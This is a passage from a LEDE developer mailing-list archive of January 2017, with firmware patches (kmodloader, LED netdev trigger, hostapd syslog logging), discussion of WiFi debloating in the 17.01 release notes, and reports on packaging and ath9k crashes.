+++ b/kmodloader.c
@@ -660,6 +660,13 @@ static int print_insmod_usage(void)
 	return -1;
 }
 
+static int print_modprobe_usage(void)
+{
+	ULOG_INFO("Usage:\n\tmodprobe [-q] filename\n");
+
+	return -1;
+}
+
 static int print_usage(char *arg)
 {
 	ULOG_INFO("Usage:\n\t%s module\n", arg);
@@ -824,15 +831,24 @@ static int main_modprobe(int argc, char **argv)
 	struct module *m;
 	char *name;
 	char *mod = NULL;
-	int i;
+	int opt;
+	bool quiet = false;
+
+	while ((opt = getopt(argc, argv, "q")) != -1 ) {
+		switch (opt) {
+			case 'q': /* shhhh! */
+				quiet = true;
+				break;
+			default: /* '?' */
+				return print_modprobe_usage();
+				break;
+			}
+	}
 
-	for (i = 1; i < argc; i++)
-		if (argv[i][0] != '-') {
-			mod = argv[i];
-			break;
-		}
-	if (!mod)
-		return print_usage("modprobe");
+	if (optind >= argc)
+		return print_modprobe_usage(); /* expected module after options */
+
+	mod = argv[optind];
 
 	if (scan_module_folders())
 		return -1;
@@ -843,10 +859,13 @@ static int main_modprobe(int argc, char **argv)
 	name = get_module_name(mod);
 	m = find_module(name);
 	if (m && m->state == LOADED) {
-		ULOG_ERR("%s is already loaded\n", name);
+		if (!quiet)
+			ULOG_ERR("%s is already loaded\n", name);
 		return -1;
 	} else if (!m) {
-		ULOG_ERR("failed to find a module named %s\n", name);
+		if (!quiet)
+			ULOG_ERR("failed to find a module named %s\n", name);
+		return -1;
 	} else {
 		int fail;
 
-- 
2.7.4



From chunkeey at googlemail.com  Sun Jan 29 03:01:53 2017
From: chunkeey at googlemail.com (Christian Lamparter)
Date: Sun, 29 Jan 2017 12:01:53 +0100
Subject: [LEDE-DEV] [PATCH] kmodloader: fix out-of-order module loading
In-Reply-To: <mailman.6192.1485647253.26984.lede-dev@lists.infradead.org>
References: <mailman.6192.1485647253.26984.lede-dev@lists.infradead.org>
Message-ID: <1511468.R77seDC5eU@debian64>

On Saturday, January 28, 2017 11:47:57 PM CET Christian Lamparter via Lede-dev wrote:
> Currently, kmodloader is trying to load all modules during
> boot. This is because all the modules (and not just those
> which start with a number) are set to probe.
> 
> Signed-off-by: Christian Lamparter <chunkeey at googlemail.com>
Disregard this (Can't delete it on patchwork due to the DMARC ).
This is wrong and has nothing to do with kmodloader.

Regards,
Christian


From patchwork-notifications at patchwork.ozlabs.org  Sun Jan 29 03:40:02 2017
From: patchwork-notifications at patchwork.ozlabs.org (Patchwork)
Date: Sun, 29 Jan 2017 11:40:02 -0000
Subject: [LEDE-DEV] [lede] Patch notification: 1 patch updated
Message-ID: <20170129114002.12916.48444@ozlabs.org>

Hello,

The following patch (submitted by you) has been updated in patchwork:

 * lede: [LEDE-DEV] kmodloader: fix out-of-order module loading
     - http://patchwork.ozlabs.org/patch/721119/
     - for: LEDE development
    was: New
    now: Not Applicable

This email is a notification only - you do not need to respond.

Happy patchworking.

--

This is an automated mail sent by the patchwork system at
patchwork.ozlabs.org. To stop receiving these notifications, edit
your mail settings at:
  http://patchwork.ozlabs.org/mail/


From toke at toke.dk  Sun Jan 29 05:46:55 2017
From: toke at toke.dk (=?utf-8?Q?Toke_H=C3=B8iland-J=C3=B8rgensen?=)
Date: Sun, 29 Jan 2017 14:46:55 +0100
Subject: [LEDE-DEV] LEDE-17.01 Final Release Notes available
In-Reply-To: <CAN-r--nrs9o2ZQeX6rxOcteoeRDcBZqJWCc94RxK1BoSjEB0gg@mail.gmail.com>
 (Jaap Buurman's message of "Sun, 29 Jan 2017 09:48:08 +0100")
References: <CAN-r--=Om69dokmvjJ05GGQ0tAPOvConMSbGYtD1iO3W1kSCKw@mail.gmail.com>
 <3EB59FA0-C8CD-4FA2-9431-683C96BE785F@gmail.com>
 <CAFE24U1bot-XM0Lb5tBJnpRS+y=VcE_d9bZK96oZ_xdq+9FxrA@mail.gmail.com>
 <CAN-r--nrs9o2ZQeX6rxOcteoeRDcBZqJWCc94RxK1BoSjEB0gg@mail.gmail.com>
Message-ID: <87efzm567k.fsf@toke.dk>

Jaap Buurman <jaapbuurman at gmail.com> writes:

> Thank you very much for the clarification. That makes a lot of sense.
> Do you happen to know where the mt76 driver stands with respect to
> these different phases? I am in the market for a new router, and due
> to the openness of the driver I'm currently looking at a mediatek
> based platform, namely the dir-860l rev b1.

The mt76 driver also uses the mac80211 debloated intermediate queues. So
yeah, maybe that should be mentioned in the announcement as well.

As far as ath10k is concerned, the driver will use the intermediate
queues, but only if the hardware has certain capabilities. Hence the
wording in that bullet.

The only thing that is ath9k-only is the airtime fairness patches. Which
are not in 17.01 anyway...

-Toke


From jaapbuurman at gmail.com  Sun Jan 29 05:57:06 2017
From: jaapbuurman at gmail.com (Jaap Buurman)
Date: Sun, 29 Jan 2017 14:57:06 +0100
Subject: [LEDE-DEV] LEDE-17.01 Final Release Notes available
In-Reply-To: <87efzm567k.fsf@toke.dk>
References: <CAN-r--=Om69dokmvjJ05GGQ0tAPOvConMSbGYtD1iO3W1kSCKw@mail.gmail.com>
 <3EB59FA0-C8CD-4FA2-9431-683C96BE785F@gmail.com>
 <CAFE24U1bot-XM0Lb5tBJnpRS+y=VcE_d9bZK96oZ_xdq+9FxrA@mail.gmail.com>
 <CAN-r--nrs9o2ZQeX6rxOcteoeRDcBZqJWCc94RxK1BoSjEB0gg@mail.gmail.com>
 <87efzm567k.fsf@toke.dk>
Message-ID: <CAN-r--ky0uA=zqqubJe6ME7pTZVMqGVVGYLabcApz1+rqLWHkg@mail.gmail.com>

Thank you very much for the information! Actually, airtime fairness
was added 3 days ago, both to the master branch and to the 17.01
branch as can be seen in this commit:
https://git.lede-project.org/?p=source.git;a=commit;h=a6f3ea5e848fd6c23cf0af9fe7b6c9753a1bf2fe

:)

On Sun, Jan 29, 2017 at 2:46 PM, Toke H?iland-J?rgensen <toke at toke.dk> wrote:
> Jaap Buurman <jaapbuurman at gmail.com> writes:
>
>> Thank you very much for the clarification. That makes a lot of sense.
>> Do you happen to know where the mt76 driver stands with respect to
>> these different phases? I am in the market for a new router, and due
>> to the openness of the driver I'm currently looking at a mediatek
>> based platform, namely the dir-860l rev b1.
>
> The mt76 driver also uses the mac80211 debloated intermediate queues. So
> yeah, maybe that should be mentioned in the announcement as well.
>
> As far as ath10k is concerned, the driver will use the intermediate
> queues, but only if the hardware has certain capabilities. Hence the
> wording in that bullet.
>
> The only thing that is ath9k-only is the airtime fairness patches. Which
> are not in 17.01 anyway...
>
> -Toke


From toke at toke.dk  Sun Jan 29 06:58:50 2017
From: toke at toke.dk (=?utf-8?Q?Toke_H=C3=B8iland-J=C3=B8rgensen?=)
Date: Sun, 29 Jan 2017 15:58:50 +0100
Subject: [LEDE-DEV] LEDE-17.01 Final Release Notes available
In-Reply-To: <CAN-r--ky0uA=zqqubJe6ME7pTZVMqGVVGYLabcApz1+rqLWHkg@mail.gmail.com>
 (Jaap Buurman's message of "Sun, 29 Jan 2017 14:57:06 +0100")
References: <CAN-r--=Om69dokmvjJ05GGQ0tAPOvConMSbGYtD1iO3W1kSCKw@mail.gmail.com>
 <3EB59FA0-C8CD-4FA2-9431-683C96BE785F@gmail.com>
 <CAFE24U1bot-XM0Lb5tBJnpRS+y=VcE_d9bZK96oZ_xdq+9FxrA@mail.gmail.com>
 <CAN-r--nrs9o2ZQeX6rxOcteoeRDcBZqJWCc94RxK1BoSjEB0gg@mail.gmail.com>
 <87efzm567k.fsf@toke.dk>
 <CAN-r--ky0uA=zqqubJe6ME7pTZVMqGVVGYLabcApz1+rqLWHkg@mail.gmail.com>
Message-ID: <8760kx6hg5.fsf@toke.dk>

Jaap Buurman <jaapbuurman at gmail.com> writes:

> Thank you very much for the information! Actually, airtime fairness
> was added 3 days ago, both to the master branch and to the 17.01
> branch as can be seen in this commit:
> https://git.lede-project.org/?p=source.git;a=commit;h=a6f3ea5e848fd6c23cf0af9fe7b6c9753a1bf2fe

Ah, awesome! I'll go update the changelog accordingly :)

-Toke


From toke at toke.dk  Sun Jan 29 07:05:38 2017
From: toke at toke.dk (=?utf-8?Q?Toke_H=C3=B8iland-J=C3=B8rgensen?=)
Date: Sun, 29 Jan 2017 16:05:38 +0100
Subject: [LEDE-DEV] LEDE-17.01 Final Release Notes available
In-Reply-To: <3EB59FA0-C8CD-4FA2-9431-683C96BE785F@gmail.com> (Rich Brown's
 message of "Sat, 28 Jan 2017 15:56:23 -0500")
References: <CAN-r--=Om69dokmvjJ05GGQ0tAPOvConMSbGYtD1iO3W1kSCKw@mail.gmail.com>
 <3EB59FA0-C8CD-4FA2-9431-683C96BE785F@gmail.com>
Message-ID: <87tw8h52kd.fsf@toke.dk>

Rich Brown <richb.hanover at gmail.com> writes:

> Hi Jaap,
>
>> On Jan 28, 2017, at 6:36 AM, Jaap Buurman <jaapbuurman at gmail.com> wrote:
>> 
>> Great job on the release notes! One minor thing that I think looks
>> nicer would be the removal of "nothing specific" after "improved
>> performance", since it adds no additional information. But that's just
>> me.
>
> Thanks for the kind words. I left "nothing specific" there as an attempt to lure
> people into writing something. :-) I would expect to remove that text for the
> final version.

Arguably, the heading "improved networking support" should really be
"improved (networking) performance". So maybe collapsing those two
bullets into one (with the subpoints from the networking part)?

-Toke


From jaapbuurman at gmail.com  Sun Jan 29 07:36:42 2017
From: jaapbuurman at gmail.com (Jaap Buurman)
Date: Sun, 29 Jan 2017 16:36:42 +0100
Subject: [LEDE-DEV] LEDE-17.01 Final Release Notes available
In-Reply-To: <87efzm567k.fsf@toke.dk>
References: <CAN-r--=Om69dokmvjJ05GGQ0tAPOvConMSbGYtD1iO3W1kSCKw@mail.gmail.com>
 <3EB59FA0-C8CD-4FA2-9431-683C96BE785F@gmail.com>
 <CAFE24U1bot-XM0Lb5tBJnpRS+y=VcE_d9bZK96oZ_xdq+9FxrA@mail.gmail.com>
 <CAN-r--nrs9o2ZQeX6rxOcteoeRDcBZqJWCc94RxK1BoSjEB0gg@mail.gmail.com>
 <87efzm567k.fsf@toke.dk>
Message-ID: <CAN-r--mX68xeFV9+GdwJ57CdOQ_1Qu+8OjvEMbJmEONE5Pybqg@mail.gmail.com>

One more question if you don't mind :) With the "mac80211 debloated
intermediate queues" do you also mean fq_codel (phase 2), or just
phase 1?
Also, has cake ever been tried instead of fq_codel to try and debloat wifi?

On Sun, Jan 29, 2017 at 2:46 PM, Toke H?iland-J?rgensen <toke at toke.dk> wrote:
> Jaap Buurman <jaapbuurman at gmail.com> writes:
>
>> Thank you very much for the clarification. That makes a lot of sense.
>> Do you happen to know where the mt76 driver stands with respect to
>> these different phases? I am in the market for a new router, and due
>> to the openness of the driver I'm currently looking at a mediatek
>> based platform, namely the dir-860l rev b1.
>
> The mt76 driver also uses the mac80211 debloated intermediate queues. So
> yeah, maybe that should be mentioned in the announcement as well.
>
> As far as ath10k is concerned, the driver will use the intermediate
> queues, but only if the hardware has certain capabilities. Hence the
> wording in that bullet.
>
> The only thing that is ath9k-only is the airtime fairness patches. Which
> are not in 17.01 anyway...
>
> -Toke


From adron at yapic.net  Sun Jan 29 07:51:31 2017
From: adron at yapic.net (adron at yapic.net)
Date: Sun, 29 Jan 2017 18:51:31 +0300
Subject: [LEDE-DEV] [PATCH] ledtrig-netdev: don't cancel work on events for
 different interfaces
Message-ID: <1485705091-11308-1-git-send-email-adron@yapic.net>

From: Sergey Sergeev <adron at yapic.net>

This fixes logic bug(in function netdev_trig_notify) introduced in
0b2991a8ed32b5d9ba0a7c3441a72e1c1a1c4fde commit.
Events triggered by different interfaces were stopping work queue so it
wasn't working for tx/rx mode.

Signed-off-by: Sergey Sergeev <adron at yapic.net>
---
 target/linux/generic/files/drivers/leds/ledtrig-netdev.c | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/target/linux/generic/files/drivers/leds/ledtrig-netdev.c b/target/linux/generic/files/drivers/leds/ledtrig-netdev.c
index 2181a26..7246bca 100644
--- a/target/linux/generic/files/drivers/leds/ledtrig-netdev.c
+++ b/target/linux/generic/files/drivers/leds/ledtrig-netdev.c
@@ -267,13 +267,13 @@ static int netdev_trig_notify(struct notifier_block *nb,
 	if (evt != NETDEV_UP && evt != NETDEV_DOWN && evt != NETDEV_CHANGE && evt != NETDEV_REGISTER && evt != NETDEV_UNREGISTER && evt != NETDEV_CHANGENAME)
 		return NOTIFY_DONE;
 
+	if (strcmp(dev->name, trigger_data->device_name))
+		return NOTIFY_DONE;
+
 	cancel_delayed_work_sync(&trigger_data->work);
 
 	spin_lock_bh(&trigger_data->lock);
 
-	if (strcmp(dev->name, trigger_data->device_name))
-		goto done;
-
 	if (evt == NETDEV_REGISTER || evt == NETDEV_CHANGENAME) {
 		if (trigger_data->net_dev != NULL)
 			dev_put(trigger_data->net_dev);
-- 
2.7.4



From adron at yapic.net  Sun Jan 29 08:01:40 2017
From: adron at yapic.net (adron at yapic.net)
Date: Sun, 29 Jan 2017 19:01:40 +0300
Subject: [LEDE-DEV] [PATCH] ledtrig-netdev: don't cancel work on events for
 different interfaces
Message-ID: <1485705700-25069-1-git-send-email-adron@yapic.net>

From: Sergey Sergeev <adron at yapic.net>

This fixes logic bug(in function netdev_trig_notify) introduced in
0b2991a8ed32b5d9ba0a7c3441a72e1c1a1c4fde commit.
Events triggered by different interfaces were stopping work queue so it
wasn't working for tx/rx mode.

Signed-off-by: Sergey Sergeev <adron at yapic.net>
---
 target/linux/generic/files/drivers/leds/ledtrig-netdev.c | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/target/linux/generic/files/drivers/leds/ledtrig-netdev.c b/target/linux/generic/files/drivers/leds/ledtrig-netdev.c
index 2181a26..7246bca 100644
--- a/target/linux/generic/files/drivers/leds/ledtrig-netdev.c
+++ b/target/linux/generic/files/drivers/leds/ledtrig-netdev.c
@@ -267,13 +267,13 @@ static int netdev_trig_notify(struct notifier_block *nb,
 	if (evt != NETDEV_UP && evt != NETDEV_DOWN && evt != NETDEV_CHANGE && evt != NETDEV_REGISTER && evt != NETDEV_UNREGISTER && evt != NETDEV_CHANGENAME)
 		return NOTIFY_DONE;
 
+	if (strcmp(dev->name, trigger_data->device_name))
+		return NOTIFY_DONE;
+
 	cancel_delayed_work_sync(&trigger_data->work);
 
 	spin_lock_bh(&trigger_data->lock);
 
-	if (strcmp(dev->name, trigger_data->device_name))
-		goto done;
-
 	if (evt == NETDEV_REGISTER || evt == NETDEV_CHANGENAME) {
 		if (trigger_data->net_dev != NULL)
 			dev_put(trigger_data->net_dev);
-- 
2.7.4



From toke at toke.dk  Sun Jan 29 08:18:21 2017
From: toke at toke.dk (=?utf-8?Q?Toke_H=C3=B8iland-J=C3=B8rgensen?=)
Date: Sun, 29 Jan 2017 17:18:21 +0100
Subject: [LEDE-DEV] LEDE-17.01 Final Release Notes available
In-Reply-To: <CAN-r--mX68xeFV9+GdwJ57CdOQ_1Qu+8OjvEMbJmEONE5Pybqg@mail.gmail.com>
 (Jaap Buurman's message of "Sun, 29 Jan 2017 16:36:42 +0100")
References: <CAN-r--=Om69dokmvjJ05GGQ0tAPOvConMSbGYtD1iO3W1kSCKw@mail.gmail.com>
 <3EB59FA0-C8CD-4FA2-9431-683C96BE785F@gmail.com>
 <CAFE24U1bot-XM0Lb5tBJnpRS+y=VcE_d9bZK96oZ_xdq+9FxrA@mail.gmail.com>
 <CAN-r--nrs9o2ZQeX6rxOcteoeRDcBZqJWCc94RxK1BoSjEB0gg@mail.gmail.com>
 <87efzm567k.fsf@toke.dk>
 <CAN-r--mX68xeFV9+GdwJ57CdOQ_1Qu+8OjvEMbJmEONE5Pybqg@mail.gmail.com>
Message-ID: <87h94h4z76.fsf@toke.dk>

Jaap Buurman <jaapbuurman at gmail.com> writes:

> One more question if you don't mind :) With the "mac80211 debloated
> intermediate queues" do you also mean fq_codel (phase 2), or just
> phase 1?

That's "phase 2". If I'm understanding the distinction correctly, "phase
1" is everything not wifi-specific (i.e. ethernet drivers etc). There
has been no debloating effort for the WiFi stack prior to the
intermediate queues, apart from applying FQ-CoDel to the WiFi
interfaces (which has limited effect).

> Also, has cake ever been tried instead of fq_codel to try and debloat
> wifi?

The queueing structure in the WiFi stack is based on FQ-CoDel, but it's
not just applying FQ-CoDel itself to WiFi interface. Some of the ideas
from Cake has been incorporated into the WiFi stack implementation,
others haven't. One of the main things Cake brings to the table is a
better traffic shaper; but since we're operating on the actual queues in
the WiFi stack, applying that does not make sense.

-Toke


From giu.lippolis at gmail.com  Sun Jan 29 12:13:23 2017
From: giu.lippolis at gmail.com (Giuseppe Lippolis)
Date: Sun, 29 Jan 2017 21:13:23 +0100
Subject: [LEDE-DEV] rt5350: second gpio bank
Message-ID: <000101d27a6c$24fa5d50$6eef17f0$@gmail.com>

Hi,
I would like to verify if something is connected on the second gpio bank of
my rt5350.
Therefore I enabled the bank in the dts and now I'm able to see it in /sys:

root at lede:~# ls /sys/class/gpio/
export          gpio7           gpiochip0       gpiochip22
modem3g_enable  unexport
root at lede:~# cat /sys/class/gpio/gpiochip*/base
0
22

But if I try to export one of the pin I get an error:

root at lede:~# echo 23 > /sys/class/gpio/export
-ash: write error: Invalid argument
root at lede:~# echo 22 > /sys/class/gpio/export
-ash: write error: Invalid argument

Can someone help me?
Thanks.
Bye.



From philipp_subx at redfish-solutions.com  Sun Jan 29 13:37:41 2017
From: philipp_subx at redfish-solutions.com (Philip Prindeville)
Date: Sun, 29 Jan 2017 14:37:41 -0700
Subject: [LEDE-DEV] Bounty: simplify extracting/restoring kernel .config
Message-ID: <98334305-282E-440C-859C-D202CCB550F8@redfish-solutions.com>

Hi.

I?m working on a project where I need to be able to force certain kernel configuration parameters from a script, to automate building tailored kernels for performance testing, certification, etc.

I love the way that I can use ?scripts/diffconfig.sh? to save the deltas into a file? update the cloning/checkout of master over time, yet retain my saved overrides by doing a ?cp ../my.config .config ; make defconfig oldconfig? and always end up with a known/good configuration.

Alas, I can?t do the same for the target kernel in a scripted way.

I?d like to put out a bounty for doing so.  If you?re interested, contact me via email to discuss the deliverable and the terms of payment.

Ideally, this would be of broad enough applicability that I?d want to upstream this back to OpenWRT for everyone, so keep that in mind as well.

Thanks,

-Philip



From devel-sven at geroedel.de  Sun Jan 29 14:57:19 2017
From: devel-sven at geroedel.de (Sven Roederer)
Date: Sun, 29 Jan 2017 23:57:19 +0100
Subject: [LEDE-DEV] [PATCH v2] openvpn: ssl-enabled variants also
 provide a virtual openvpn-crypto package
In-Reply-To: <1485108051-322-1-git-send-email-devel-sven@geroedel.de>
References: <7844de9b-fea9-89ed-b69a-7983c59e46eb@mein.io>
 <1485108051-322-1-git-send-email-devel-sven@geroedel.de>
Message-ID: <3932415.iGrXQTqvXz@strike>

Am Sonntag, 22. Januar 2017, 19:00:51 CET schrieb Sven Roederer:
> When relying on x.509 certs for auth and / or encryption of traffic you
> can't use package openvpn-nossl.
> Just have your package depend on openvpn-crypto to have SSL-encryption and
> X.509-support enabled in OpenVPN. If encryption / X.509 is not a must, use
> virtual packge openvpn, which is provided by all OpenVPN-variants.
> 
> Signed-off-by: Sven Roederer <devel-sven at geroedel.de>
> ---

Jow, thanks  for accepting this via c7a7e7c.
Can this be picked for 17.01 also?

Sven


From zajec5 at gmail.com  Sun Jan 29 22:31:59 2017
From: zajec5 at gmail.com (=?UTF-8?q?Rafa=C5=82=20Mi=C5=82ecki?=)
Date: Mon, 30 Jan 2017 07:31:59 +0100
Subject: [LEDE-DEV] [PATCH 1/2] hostapd: enable support for logging
 wpa_printf messages to syslog
Message-ID: <20170130063200.18029-1-zajec5@gmail.com>

From: Rafa? Mi?ecki <rafal at milecki.pl>

This will allow starting hostapd with the new -s parameter and finally
read all (error) messages from the syslog.

Signed-off-by: Rafa? Mi?ecki <rafal at milecki.pl>
---
 package/network/services/hostapd/files/hostapd-full.config | 3 +++
 package/network/services/hostapd/files/hostapd-mini.config | 3 +++
 2 files changed, 6 insertions(+)

diff --git a/package/network/services/hostapd/files/hostapd-full.config b/package/network/services/hostapd/files/hostapd-full.config
index e388109fbb..4a2e87c2eb 100644
--- a/package/network/services/hostapd/files/hostapd-full.config
+++ b/package/network/services/hostapd/files/hostapd-full.config
@@ -146,6 +146,9 @@ CONFIG_IEEE80211AC=y
 # code is not needed.
 #CONFIG_NO_STDOUT_DEBUG=y
 
+# Send debug messages to syslog instead of stdout
+CONFIG_DEBUG_SYSLOG=y
+
 # Remove support for RADIUS accounting
 #CONFIG_NO_ACCOUNTING=y
 
diff --git a/package/network/services/hostapd/files/hostapd-mini.config b/package/network/services/hostapd/files/hostapd-mini.config
index 8baff18fe4..2bd7d239c5 100644
--- a/package/network/services/hostapd/files/hostapd-mini.config
+++ b/package/network/services/hostapd/files/hostapd-mini.config
@@ -142,6 +142,9 @@ CONFIG_IEEE80211AC=y
 # code is not needed.
 #CONFIG_NO_STDOUT_DEBUG=y
 
+# Send debug messages to syslog instead of stdout
+CONFIG_DEBUG_SYSLOG=y
+
 # Remove support for RADIUS accounting
 CONFIG_NO_ACCOUNTING=y
 
-- 
2.11.0



From zajec5 at gmail.com  Sun Jan 29 22:32:00 2017
From: zajec5 at gmail.com (=?UTF-8?q?Rafa=C5=82=20Mi=C5=82ecki?=)
Date: Mon, 30 Jan 2017 07:32:00 +0100
Subject: [LEDE-DEV] [PATCH 2/2] mac80211: start hostapd with logging
 wpa_printf messages to syslog
In-Reply-To: <20170130063200.18029-1-zajec5@gmail.com>
References: <20170130063200.18029-1-zajec5@gmail.com>
Message-ID: <20170130063200.18029-2-zajec5@gmail.com>

From: Rafa? Mi?ecki <rafal at milecki.pl>

Some debugging/error messages are printed using wpa_printf and this
change allows finally reading them out of the syslog.

Signed-off-by: Rafa? Mi?ecki <rafal at milecki.pl>
---
 package/kernel/mac80211/files/lib/netifd/wireless/mac80211.sh | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/package/kernel/mac80211/files/lib/netifd/wireless/mac80211.sh b/package/kernel/mac80211/files/lib/netifd/wireless/mac80211.sh
index 1fa39b8261..baa023ecf6 100644
--- a/package/kernel/mac80211/files/lib/netifd/wireless/mac80211.sh
+++ b/package/kernel/mac80211/files/lib/netifd/wireless/mac80211.sh
@@ -756,7 +756,7 @@ drv_mac80211_setup() {
 	for_each_interface "ap" mac80211_prepare_vif
 
 	[ -n "$hostapd_ctrl" ] && {
-		/usr/sbin/hostapd -P /var/run/wifi-$phy.pid -B "$hostapd_conf_file"
+		/usr/sbin/hostapd -s -P /var/run/wifi-$phy.pid -B "$hostapd_conf_file"
 		ret="$?"
 		wireless_add_process "$(cat /var/run/wifi-$phy.pid)" "/usr/sbin/hostapd" 1
 		[ "$ret" != 0 ] && {
-- 
2.11.0



From daniel at makrotopia.org  Mon Jan 30 02:57:19 2017
From: daniel at makrotopia.org (Daniel Golle)
Date: Mon, 30 Jan 2017 11:57:19 +0100
Subject: [LEDE-DEV] Patch to iwinfo to add the ability to load backends
 from external .so modules
In-Reply-To: <CAN_rxo0FLUsxvc=oocZeLVjO=BL5pmk2+_2oKYE6FcRrkCNbGA@mail.gmail.com>
References: <CAN_rxo3PBnjnV73MSSJT+y3T_zoPafzS+hN2Xw49Tj0yZgeE2Q@mail.gmail.com>
 <CAN_rxo0FLUsxvc=oocZeLVjO=BL5pmk2+_2oKYE6FcRrkCNbGA@mail.gmail.com>
Message-ID: <20170130105719.GA1722@makrotopia.org>

Hi!

Please resend your patches with git format-patch or git send-email
instead of attaching them as files. This will make sure that people
actually get to see them and that they will get listed in our patchwork
instance [1]. When doing so, please include 'iwinfo' in the mails'
subject prefixes, ie.
[PATCH iwinfo 1/2] external foo

If you are for some reason unable to submit your work in this way,
please let us know, so someone else can pick up your patches and
resubmit them in this way so they will get reviewed and eventually
get merged.


Cheers


Daniel


[1]: http://patchwork.ozlabs.org/project/lede/list/



On Mon, Jan 23, 2017 at 04:00:53PM -0800, Patrick Martin wrote:
> I think I attached the wrong patch file, here are the two patches to
> apply that are corrected.
> 
> On Mon, Jan 23, 2017 at 3:38 PM, Patrick Martin
> <patrick.martin.r at gmail.com> wrote:
> > Hello,
> >
> > I'm submitting a patch to iwinfo that loads external .so files from
> > /usr/lib/iwinfo to allow for the addition of binary backends via
> > packages, I set it up to be as isolated from the other code in iwinfo
> > so as to not affect anything you guys might be working on with it.
> > this patch (or something similar) is needed in order to add the
> > ability to read info about the Quantenna radio in the driver packages
> > i'm working on. This was made on jow's (i think it was jow at least)
> > suggestion.
> >
> > Patrick Martin



> _______________________________________________
> Lede-dev mailing list
> Lede-dev at lists.infradead.org
> http://lists.infradead.org/mailman/listinfo/lede-dev



From daniel.engberg.lists at pyret.net  Mon Jan 30 03:43:40 2017
From: daniel.engberg.lists at pyret.net (Daniel Engberg)
Date: Mon, 30 Jan 2017 12:43:40 +0100
Subject: [LEDE-DEV] [PATCH] iperf3: update to version 3.1.5 and download
 via git
In-Reply-To: <dce5654a4b94e99c645a52329e35c90c@pyret.net>
References: <f5bc42b99a8617d0b3e0bfd24f0caa6f@pyret.net>
 <CAAd0S9BbjjBbaWzs90MvUakNsFdMn46wXHyr=Gex4pns3QUUZA@mail.gmail.com>
 <dce5654a4b94e99c645a52329e35c90c@pyret.net>
Message-ID: <c0f151e9701a60fd165471dca0e90e17@pyret.net>

On 2017-01-15 22:06, Daniel Engberg wrote:
> On 2017-01-15 21:56, Christian Lamparter wrote:
>> On Sunday, January 15, 2017 9:25:28 PM CET Daniel Engberg wrote:
>>> Thanks for submitting a patch but can you please outline why we would
>>> want to switch from a tarball release to a git repo pull for iperf3?
>>> 
>> 
>> Actually, it's in the commit. It saves a couple of KiB since we can 
>> switch to
>> xz along the way too. As for iperf 3.1.5 this is:
>> 
>> 550862 Bytes for iperf-3.1.5.tar.gz
>> 
>> vs.
>> 
>> 400468 Bytes for 
>> iperf-3.1.5-a46d5aec9726e196e86ab192c3f77dea6a3beb8e.tar.xz
>> 
>> That's around 27% savings of bandwidth. Because once it's uploaded
>> onto the mirror
>> the download methods will pick it from there - instead of the listed 
>> address.
>> 
>> Anyway, if you have your own idea of how to do it: Then just make a
>> patch as well.
>> 
>> Regards,
>> Christian
> 
> I'm all for saving space and bandwidth but as far as I know the common
> practice is to use tarballs where it makes sense (ie pretty much
> everywhere) and upstream download mirrors/sites. Directing all users
> to the LEDE "backup" mirror is not a desirable outcome as there's no
> official xz package. That's just my point of view.
> 
> Regards,
> Daniel Engberg

Hi Christian,

I just wanted to information you (as asked by mkresin) that I've 
submitted a pr on GitHub 
(https://github.com/lede-project/source/pull/755) that uses the release 
tarball which is considered to be the preferred way for this package.

Something completely different, great work on the ipq4xx stuff. Any 
plans on upstreaming it?

Best regards,
Daniel





From koen.vandeputte at ncentric.com  Mon Jan 30 05:50:08 2017
From: koen.vandeputte at ncentric.com (Koen Vandeputte)
Date: Mon, 30 Jan 2017 14:50:08 +0100
Subject: [LEDE-DEV] ath9k crashes
Message-ID: <d0976e53-54f4-60ab-97e3-dbb57f5aaf4f@ncentric.com>

Hi Felix,

Since the latest ath9k fixes you've submitted I've seen a few NULL 
derefs on my cns3xxx boards the past few days.

I'm not sure if these are really the cause but .. any idea?

[   42.570000] [<c0013528>] (_raw_spin_unlock_irqrestore) from [<bf4748b8>] (ath9k_iowrite32+0x5c/0x7c [ath9k])
[   42.570000] [<bf47485c>] (ath9k_iowrite32 [ath9k]) from [<bf41757c>] (ath9k_hw_kill_interrupts+0x1a8/0x218 [ath9k_hw])
[   42.570000]  r9:00000000 r8:00000000 r7:bf47485c r6:00000002 r5:00023f60 r4:ce878010
[   42.570000] [<bf4174a0>] (ath9k_hw_kill_interrupts [ath9k_hw]) from [<bf417fdc>] (ath9k_hw_resume_interrupts+0x84/0x88 [ath9k_hw])
[   42.570000]  r7:00000001 r6:00000001 r5:ce878010 r4:ce895540
[   42.570000] [<bf417f90>] (ath9k_hw_resume_interrupts [ath9k_hw]) from [<bf418000>] (ath9k_hw_enable_interrupts+0x20/0x24 [ath9k_hw])
[   42.570000] [<bf417fe0>] (ath9k_hw_enable_interrupts [ath9k_hw]) from [<bf477b04>] (ath9k_calculate_summary_state+0x3e8/0x5dc [ath9k])
[   42.570000] [<bf4779d4>] (ath9k_calculate_summary_state [ath9k]) from [<bf477c90>] (ath9k_calculate_summary_state+0x574/0x5dc [ath9k])
[   42.570000]  r7:ce895ef0 r6:ce895edc r5:ce895ee8 r4:ce895540
[   42.570000] [<bf477b14>] (ath9k_calculate_summary_state [ath9k]) from [<bf477d74>] (ath_reset_work+0x28/0x34 [ath9k])


Full log:

http://pastebin.com/raw/7s5tqy88


I'll post a ticket on FS later on..


Thanks,

Koen


From dave at taht.net  Mon Jan 30 06:48:09 2017
From: dave at taht.net (=?UTF-8?Q?Dave_T=c3=a4ht?=)
Date: Mon, 30 Jan 2017 06:48:09 -0800
Subject: [LEDE-DEV] [PATCH] iperf3: update to version 3.1.5 and download
 via git
In-Reply-To: <c0f151e9701a60fd165471dca0e90e17@pyret.net>
References: <f5bc42b99a8617d0b3e0bfd24f0caa6f@pyret.net>
 <CAAd0S9BbjjBbaWzs90MvUakNsFdMn46wXHyr=Gex4pns3QUUZA@mail.gmail.com>
 <dce5654a4b94e99c645a52329e35c90c@pyret.net>
 <c0f151e9701a60fd165471dca0e90e17@pyret.net>
Message-ID: <9dbcb353-93e5-3abb-6d29-53cc67b01241@taht.net>

Could you verify this version has a working -S Qos option? It took it,
but didn't actually set it in the packets, misleading a lot of people.

There's a pull request on github outstanding to improve, that adding a
dscp option....

See also:

http://burntchrome.blogspot.com/2016/09/iperf3-and-microbursts.html

I think the patches for that were only partially taken up.


From dave at taht.net  Mon Jan 30 07:00:37 2017
From: dave at taht.net (=?UTF-8?Q?Dave_T=c3=a4ht?=)
Date: Mon, 30 Jan 2017 07:00:37 -0800
